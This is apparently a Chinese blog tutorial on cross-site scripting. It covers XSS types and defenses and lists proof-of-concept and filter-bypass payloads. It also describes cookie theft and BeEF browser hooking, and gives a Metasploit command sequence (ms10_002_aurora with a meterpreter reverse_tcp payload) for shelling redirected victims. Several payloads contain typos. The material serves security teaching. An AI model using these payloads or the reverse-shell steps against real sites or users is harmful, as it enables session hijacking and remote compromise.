XSS漏洞描述

XSS是非常厉害的漏洞,在OWASP TOP10中榜上有名。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。但我认为这个中文名字不是太好,XSS说白了就是利用JS脚本的强大能力,攻击者通过一些手段,比如说评论功能,留言功能,等等,把一段JS代码插入到受害网站中,如果受害者网站对用户输入的信息过滤不足,任何人在浏览时都会遭受到这段JS代码的威胁。甚至是本来就是恶意的一些网站,没有任何人攻击写入恶意代码,而是网站制作者本身的恶意写入去攻击网站浏览者。所以 引入恶意脚本的站点攻击 这个名字更适合他。

危害: 盗取受害者cookie信息,电脑截屏,获取用户电脑的shell(打开cmd的权限),盗取账号,劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫, js功能的强大超乎我们的想像。

XSS漏洞验证

利用一段简洁的代码,去测试网站有没有XSS的漏洞。这样的代码叫做 POC(Proof of Concept) proof 英[pruːf] n:证据; 证明; 检验;

网站一般会对<标签>, ', ", \进行过滤

<script>alert('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞

<script>confirm('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞

<script>promot('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞

在有关页面输入此类代码进行提交,对结果页面进行检查,通常脚本是不会显示到页面上的,如果提交评论其他文字会有显示,而js代码却没有显示,则很可能攻击成功,我们可以查看网页源代码进行查找是否成为了网页的js脚本。

如果这一小段代码引入成功,那么其他更加恐怖的代码也可以成功了。

练习平台

pikachu

xsschallenge

分类

从攻击代码的工作方式可以分为三个类型:

(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

非持久性 反射性跨站

利用一些表单的变量,进行攻击。

www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script>

其中submit是提交的结果显示,而a这个变量是用户提交的东西(评论,搜索内容等等),而这个链接会显示用户提交后的网页,这样,只要访问就会出现弹窗。所以不要乱点不明链接。点击即可触发反射形XSS攻击

持久性 存储型

把恶意代码放到网站数据库中,网站是会存储用户的信息的,比如说评论信息,文章信息。你的一些发布的东西都会被永久的存储到数据库中,如果你提交的东西里包含可执行的恶意代码,别的用户在通过动态网站的访问时,网站从数据库里取出你放的评论(内有恶意代码),显示给其他人,恶意JS代码也就会执行。

DOM型

纯网站自己编写的JS存在漏洞,导致其他人根据这些漏洞,把恶意代码写入页面。

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:

(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到则进行JS编码。

XSS的构造

伪协议

javascript: 伪协议的方式构造 XSS。

<a href="javasript:alert('xss')">clickMe</a>

<img src="javasript:alert('xss')" />

事件驱动

利用JS 对网页中的各种操作事件的响应,去触发JS代码进行 XSS。

  1. Windows事件
  2. Form事件 填写的触发
  3. KeyBoard事件 键盘
  4. Mouse事件 鼠标点击
  5. Media事件 多媒体触发

<img src="data:images/defualt.jpg" onmouseover="alert('xss')" />

<input type='text' onkeydown="alert('xss')" />

利用CSS进行 XSS

style="backgroud-image:url(javasript:alert('xss'))"

XSS的变形绕过

利用XSS的各种形式,达到对于过滤器,过滤函数的绕过。

大小写转换

<Img sRc='#' Onerror="alert" />

<a hRef="javasript:alert('xss')"> clickMe </A>

引号利用

HTML对引号没啥感觉,以下三者都可以用。

img src="#" onerror="alter('xss')"

img src="#" onerror='alter('xss')'

img src="#" onerror=alter('xss')

[/]代替空格

<Img/sRc='#'/Onerror="alert">

TAB 换行符绕过

<a hRef="j
av
asri
pt:alert('xss')"> clickMe </A>

转码绕过

字符 编码 十进制编码 十六进制编码
a 97 a a
e 101 e e
Tab 可以插入任意位置
换行 可以插入任意位置
回车 可以插入任意位置
SOH &#01; 可以插入头部位置
STX &#02; 可以插入头部位置

<a hRef="&#01;javas ript:alert('xss')"> clickMe `

双写绕过

这个有点问题。

<script><scr<script>ipt>

XSS防御

永远不要相信用户的输入。

Beef

Kali的一款工具。利用特定的JS代码,使得遭受这段代码攻击的人,在 beef服务器上上线,类似灰鸽子,可以浏览器劫持,获取受害主机的cookie,shell命令行权限等等。

安装完成后要修改配置文件,因为安全考虑,要修改在配置文件中的 默认账户名和密码。

Cookie窃取

通过窃取受害者cookie,如果网站以cookie信息验证用户身份,则攻击者可以在自己的电脑中写入获取的cookie信息,直接登录后台而不会受阻。

document.cookie="username=admin";
document.cookie="password=123456";

利用浏览器漏洞获取shell

利用msf,msf是kali自带的一个工具,利用它生成一个可以利用浏览器漏洞获取shell的页面,让beef受害者重定向(**Redirect Browser*)到这个页面,即可查看用户本地进程,打开受害者的shell,但是一旦受害者断开页面或浏览器,这样的连接就会断开,所以要及时切换攻击进程的位置。

msfconsole # 启动工具
use exploit/windows/browser/ms10_002_aurora # 利用模块
set payload windows/meterpreter/reverse_tcp
set SRVHOST 123.123.123.123 #目标地址
show options # 展示操作结果
set LHOST 11.11.11.11 #本机地址
show options # 展示操作结果
exploit # 攻击页面生成 URL # 利用重定向使用户访问页面
sessions -i #查看受害者连接
sessions -i 1 #进入到受害者会话
ps #查看受害者主机进程列表 任务管理器
getuid # 获取攻击进程的序号
migrate 1532 # 切换进程来维持长久连接

XSSpt.com

一个XSS漏洞利用平台。创建自己的项目,配置相关的攻击模块,自动会生成JS代码,在由XSS漏洞的平台里,用外部JS引入攻击代码,即可获取受害者信息,以及其他的一些操纵。

攻击方法扩充

windows.location.hash

windows.location.hash会取得浏览器的url中 #以及后面的字符串。

url_http://abc.com/index.php?a=5#abcdef
location.hash=#abcdef

攻击实例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)

substr(index)会截取第几个字符后面的字符,从1开始。

备选存储技术

把XSS代码写到cookie中,用户登录或者是其他一些用到cookie信息的时候,一些网页会提取cookie信息,并展示给用户看,这个时候XSS就执行了。

Ajax

利用Ajax去请求远端的JS代码,执行攻击。

最后就是多练习‍♀️‍♂️‍♂️‍♀️

网上有很多XSS练习平台,有的是在线网页的可以去人家的网站,还有可以下载下来放到自己机器上的练习网站。

多练。

Web渗透06_XSS的更多相关文章

  1. Kali Linux 秘籍/Web渗透秘籍/无线渗透入门

    Kali Linux 秘籍 原书:Kali Linux Cookbook 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 目录: 第一章 安装和启动Kali ...

  2. 反向代理在Web渗透测试中的运用

    在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...

  3. Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码

    Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...

  4. Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter

    Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...

  5. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

  6. KALI LINUX WEB 渗透测试视频教程—第16课 BEEF基本使用

    Kali Linux Web 渗透测试视频教程—第16课  BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课  BeEF基本使用............... ...

  7. Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击

    Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...

  8. Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持

    Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗.嗅探.dns欺骗.session劫持 文/玄魂 目录 Kali Linux Web 渗透测试—第十四课-arp欺骗.嗅探.dns欺 ...

  9. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  10. Kali Linux Web 渗透测试— 第十二课-websploit

    Kali Linux Web 渗透测试— 第十二课-websploit 文/玄魂 目录 Kali Linux Web 渗透测试— 第十二课-websploit..................... ...

随机推荐

  1. [nRF24L01+] 4. 增强型ShockBurst

    4. 增强型ShockBurst 增强型的ShockBurst是一个数据链路层,具有自动数据包组装和数据包的发送.定时.自动确认和重传.这些特性能够显著提高双向和单向系统的能效,而不会增加主机控制器侧 ...

  2. TCP/IP协议竟然有这么多漏洞?

    据2020年上半年中国互联网网络安全监测数据分析报告显示,恶意程序控制服务器.拒绝服务攻击(DDoS)等网络攻击行为有增无减.时至今日,网络攻击已经成为影响网络信息安全.业务信息安全的主要因素之一. ...

  3. MFC添加图标到托盘

    MFC窗口实现最小化到托盘 右键菜单和还原 //.h文件 void toTray();//最小化到托盘 void DeleteTray();//删除托盘图标 afx_msg LRESULT OnSho ...

  4. MYSQL——mysql检索不包含字母U的数据

    2024/07/09 1. NOT LIKE 2. IS NOT.<>.!= 3. NOT IN 如题,正确答案如下: SELECT * FROM your_table_name WHER ...

  5. 默认情况下,CentOS 7上MySQL / MariaDB的存储位置在哪里?

    Where is MySQL / MariaDB storage location by default on CentOS 7? No special configuration to the Ma ...

  6. 安装 Oh My Posh

    Oh My Posh Oh My Posh 官网 安装 winget install JanDeDobbeleer.OhMyPosh -s winget Oh My Posh 更新很快,有时会被杀毒软 ...

  7. 【YashanDB知识库】virt虚拟内存远大于res内存问题分析

    YASDB内存占用简介 参数配置: 默认参数配置:DBMS_PARAM高级包生成配置参数 数据库内存配置,使用默认参数步骤: 1.DBMS_PARAM.OPTIMIZE(); //生成默认参数,使用总 ...

  8. LeetCode 验证二叉搜索树的两种不同题型

    一.leetcode 98. 验证二叉搜索树 通过辅助函数增加参数进行判断. 虽然节点值在INT范围内,但要求其中序遍历序列严格单调递增,因此等于也不行,而且需要用LONG_MIN\LONG_MAX初 ...

  9. Mongodb入门5

    最近在用MongoDBKoa2做个小项目,记录一下: 首先,如何连接线上数据库: const url = `mongodb://user:pwd@ipaddr:27017/Blog`; const m ...

  10. 以太坊Rollup方案之 arbitrum(1)

    什么是Rollup? 以太坊的Rollup扩容是一种Layer 2(第二层)扩容解决方案,旨在提高以太坊区块链的交易吞吐量和性能.它通过将大量的交易数据转移到以太坊区块链之外的第二层网络来实现这一目标 ...